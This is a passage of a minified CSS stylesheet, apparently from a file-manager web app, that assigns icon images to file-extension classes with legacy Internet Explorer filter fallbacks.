\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m,.x-nc{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-7z,.x-apk,.x-ace,.x-arj,.x-bza,.x-cab,.x-cxr,.x-dgc,.x-gca,.x-gz,.x-gza,.x-iso,.x-jar,.x-lzh,.x-rar,.x-rk,.x-tar,.x-tbz,.x-tgz,.x-tlz,.x-txz,.x-yz1,.x-zip{background-image:url("../../../images/file_icon/icon_file/zip_all.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip_all.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip_all.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-7z{background-image:url("../../../images/file_icon/icon_file/7z.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/7z.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/7z.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-djvu{background-image:url("../../../images/file_icon/icon_file/djvu.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/djvu.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/djvu.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dng{background-image:url("../../../images/file_icon/icon_file/dng.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dng.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dng.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc,.x-wps{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hdr{background-image:url("../../../images/file_icon/icon_file/hdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hdr.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none 